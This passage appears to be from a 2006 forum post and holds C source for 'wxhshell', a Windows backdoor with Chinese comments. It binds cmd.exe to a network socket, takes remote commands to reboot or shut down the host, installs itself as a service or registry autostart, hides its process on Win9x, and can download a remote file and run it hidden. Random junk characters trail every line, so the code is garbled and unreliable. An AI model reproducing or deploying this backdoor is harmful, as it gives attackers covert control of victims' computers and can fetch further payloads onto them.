  // 帮助 h"_;IUZ!  
  case '?': { yt=3sq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :LRYYw  
    break;  SVs_dG$  
  } %9N7Ln|%  
  // 安装 i}mVQ\j5  
  case 'i': { p#?7 w  
    if(Install()) ?Unb? {,&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GyIT{M}KV  
    else *|C^=*j9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xLWw YK  
    break; $oU*9}}Rn  
    } ``Dq  
  // 卸载 s!&#c`=  
  case 'r': { 9c#+qH  
    if(Uninstall()) T| V:$D'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\ey<}?5V  
    else A1D^a,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lpeEpI/gM  
    break; }v*G_}^  
    } 4@n1Uk  
  // 显示 wxhshell 所在路径 y 4I6  
  case 'p': { :'3XAntZA  
    char svExeFile[MAX_PATH]; MVTMwwO\[  
    strcpy(svExeFile,"\n\r"); w?wG(+X7  
      strcat(svExeFile,ExeFile); Vp*KfS]  
        send(wsh,svExeFile,strlen(svExeFile),0); F6OpN "UM'  
    break; 2w_WAdi  
    } r1.nTO%  
  // 重启 $.PuK~}  
  case 'b': { 'y2nN=CN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PQnF  
    if(Boot(REBOOT)) !^=*Jq>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dov<U[ia  
    else { (-xS?8x$  
    closesocket(wsh); NI#:|}CYS  
    ExitThread(0); QnXA*6DJ  
    } 5JCG2jqx0  
    break; y8L D7<1u  
    } wrbLDod /  
  // 关机 Z&4&-RCi  
  case 'd': { WDc+6/<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EQ`(yj  
    if(Boot(SHUTDOWN)) )- viGxJ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36%nB*  
    else { xtE_=5$~  
    closesocket(wsh); !?p%xj?  
    ExitThread(0); 6c"0})p  
    } +5o8KYV  
    break; =Z+nz^'b  
    } $8xl#SqH  
  // 获取shell RHq/JD-  
  case 's': { Z!@~>i  
    CmdShell(wsh); *-q"3 D`  
    closesocket(wsh); Nq` C.&  
    ExitThread(0); P8>d6;o($  
    break; xA 1hfe.9  
  } v:o({Y 1Aq  
  // 退出 KgOqbSJ  
  case 'x': { Mjfx~I27  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Ro9u p  
    CloseIt(wsh); s3O} 6  
    break; Q`D~5ci  
    } YW`,v6  
  // 离开 J'fQW<T4wU  
  case 'q': { jbu8~\"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e~@ [18  
    closesocket(wsh); R_68-WO  
    WSACleanup(); wX[8A/JPD  
    exit(1); )V ;mwT!Q  
    break; MHai%E  
        } n\5RAIg  
  } r77PQQD T  
  } aj}sc/Qa  
zG9Y!SY\-  
  // 提示信息 Q7$.LEioN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @,u/w4  
} k RD%b[*d  
  } Zh*u(rO  
:GW&O /Yo  
  return; 1_ C]*p  
} %1O[i4s:-  
H5]^ 6 HwX  
// shell模块句柄 (+u39NQV  
int CmdShell(SOCKET sock) J-) XQDD  
{ \XM^oE#G  
STARTUPINFO si; ZAUQJS 91E  
ZeroMemory(&si,sizeof(si)); Yd=a}T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9^Whg ~{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >teO m?@U  
PROCESS_INFORMATION ProcessInfo; \ZhfgE8{%  
char cmdline[]="cmd"; AUNQA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $m+sNEAa  
  return 0; UIAj]  
} x-<)\L&  
gV`=jAE_  
// 自身启动模式 [],1lRYI9_  
int StartFromService(void) +|@rD/I6  
{ l)w Hl%p  
typedef struct J.dLPKU;-  
{ t|!j2<e  
  DWORD ExitStatus; z=_Ef3`M  
  DWORD PebBaseAddress; \, &co  
  DWORD AffinityMask; Nl9I*x^e  
  DWORD BasePriority; f0<%&2ym  
  ULONG UniqueProcessId; ]oV{t<0a  
  ULONG InheritedFromUniqueProcessId; QgD g}\P  
}   PROCESS_BASIC_INFORMATION; P=+nB*hG  
)aao[_ZS  
PROCNTQSIP NtQueryInformationProcess; H_Kj7(=&>  
?wF'<kEH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |),'9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +sx 8t  
J}@z_^|"mJ  
  HANDLE             hProcess; VY"9?2?/  
  PROCESS_BASIC_INFORMATION pbi; Ra/Ukv_v  
7aYn0_NKp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MXiQ1 x  
  if(NULL == hInst ) return 0; C?=P  
_s$_Sa ;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RZ7( J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mVsIAC$}8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); drd/jH&  
)r z+'|,  
  if (!NtQueryInformationProcess) return 0; /c-r  
^/ =#UQ*k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b}w C|\s  
  if(!hProcess) return 0; k({\/t3i  
c.f"Gv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8kt5KnD2  
#D9e$E(J^  
  CloseHandle(hProcess); V0(o~w/W%!  
z rv#Xa!O\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^6P3%  
if(hProcess==NULL) return 0; 6ubL1K  
fr}Eaa-{^  
HMODULE hMod; X_G| hx  
char procName[255]; >'5_Y]h4m|  
unsigned long cbNeeded; |*X*n*oI  
K+)%KP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zYv#:>C8  
|U k" {  
  CloseHandle(hProcess); F3lw@b3])  
xc:!cA{V  
if(strstr(procName,"services")) return 1; // 以服务启动 -;XKcS7Ue  
Hiv!BV|  
  return 0; // 注册表启动 wpt='(  
} %?hsoj&k  
m8JR@!t7  
// 主模块 (j"(  
int StartWxhshell(LPSTR lpCmdLine) Rek -`ki5F  
{ "ZHtR/;  
  SOCKET wsl; \[>9UC%  
BOOL val=TRUE; z6~ H:k1G%  
  int port=0; I.@hW>k  
  struct sockaddr_in door; .E~(h*NW  
d ~_`M0+  
  if(wscfg.ws_autoins) Install(); u@P[Vb   
>A q870n  
port=atoi(lpCmdLine); EIbXmkHl<  
BtdXv4V  
if(port<=0) port=wscfg.ws_port; sz):oea@f@  
7"*|2Xq  
  WSADATA data; F;!2(sPS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q U F$@)A  
G02m/8g3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }o,z!_^PLQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +P`(Rf"luu  
  door.sin_family = AF_INET; 3PUAH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E%TpJl'U  
  door.sin_port = htons(port); 9>#:/g/  
rf9_eP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pA#}-S%  
closesocket(wsl); (|fm6$  
return 1; z ggB$5  
} )g@S%Yu  
l0Ti Z  
  if(listen(wsl,2) == INVALID_SOCKET) { a!c[!  
closesocket(wsl); XfzVcap  
return 1; PaCzr5!~f  
} jSQ9.%4  
  Wxhshell(wsl); 5NXt$k5  
  WSACleanup(); qG9+/u)\  
F{\gc|!i  
return 0; 0ZPV' `KGp  
0i8h I6d  
} oXt,e   
hsG#6?l3  
// 以NT服务方式启动 rt+..t\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) do>"[RO  
{ ?68uS;  
DWORD   status = 0; |__=d+M'  
  DWORD   specificError = 0xfffffff; QldzQ%4c\  
d( *fy}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W {.78Zi9K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hvt@XZT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m>e3vu  
  serviceStatus.dwWin32ExitCode     = 0; dYojm1MQ  
  serviceStatus.dwServiceSpecificExitCode = 0; *NSlo^R-[  
  serviceStatus.dwCheckPoint       = 0; pY^9l3y^  
  serviceStatus.dwWaitHint       = 0; l t]B#, '  
F X1ZG!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f|aDTWF  
  if (hServiceStatusHandle==0) return; VzRx%j/i  
]yX@'f  
status = GetLastError(); D;F{1[s(  
  if (status!=NO_ERROR) fd8#Ng"1  
{ %xyX8c{sP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jB^OP1  
    serviceStatus.dwCheckPoint       = 0; "] -],K  
    serviceStatus.dwWaitHint       = 0; 3rf#Q }"  
    serviceStatus.dwWin32ExitCode     = status; M\+*P,i  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8xI`jE"1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W)SjQp6  
    return; mf|pNiQ,  
  } -05U%l1e  
TL)O-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gS"Q=ZK"  
  serviceStatus.dwCheckPoint       = 0; ~HUZ#rUHm>  
  serviceStatus.dwWaitHint       = 0; JK~ m(oQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P-JfV7(O8  
} DcV<y-`'1  
azb=(l-  
// 处理NT服务事件,比如:启动、停止 oBlzHBn>0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8h?X!2Nq  
{ 2 6:evid  
switch(fdwControl) 5>ST"l_ca  
{ O'}l lo  
case SERVICE_CONTROL_STOP:  ?9u4a_x  
  serviceStatus.dwWin32ExitCode = 0; {%']w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d\XRUO[  
  serviceStatus.dwCheckPoint   = 0; $-@$i`Kf/  
  serviceStatus.dwWaitHint     = 0; CYB=Uq,  
  { K:qOoY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8gmn6dCf  
  } eZO9GMO  
  return; s5Fr)q// !  
case SERVICE_CONTROL_PAUSE: FyEDt@J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %N~C vN@T  
  break; VVrwOo CN  
case SERVICE_CONTROL_CONTINUE: n'64;J5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q59/ex  
  break; BxX$5u  
case SERVICE_CONTROL_INTERROGATE: a|N0(C  
  break; iWXMKu  
}; v`G U09   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #cEq_[yI  
} sdF3cX  
2Yyb#Ow  
// 标准应用程序主函数 WhUa^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5(}H ?  
{ d7bjbJwu  
= ?N^>zie  
// 获取操作系统版本 D$_8rHc\A  
OsIsNt=GetOsVer(); &R\XUxI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ehc<|O9tY  
@&/\r 7 '  
  // 从命令行安装 ?2~U2Ir]:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8SD}nFQ  
=O^7TrM  
  // 下载执行文件 cy:;)E>/  
if(wscfg.ws_downexe) { 8 G?b.NE^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V}`M<A6:  
  WinExec(wscfg.ws_filenam,SW_HIDE); *t =i  
} '=%i,  
7L{li-crI  
if(!OsIsNt) { p6blD-v  
// 如果时win9x,隐藏进程并且设置为注册表启动 !=M/j}  
HideProc(); 6bL"LM`s  
StartWxhshell(lpCmdLine); A. Nz_!  
} *Pb.f  
else pB'x_z  
  if(StartFromService()) 5K(n3?1z)  
  // 以服务方式启动 O`[]xs  
  StartServiceCtrlDispatcher(DispatchTable); *#ompm  
else ucFw,sB1  
  // 普通方式启动 f sX;Nj]  
  StartWxhshell(lpCmdLine); 0e9A+&r  
x\;GoGsez  
return 0; 3Bd4 C]E  
}
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只看该作者 1 发表于: 2006-10-10
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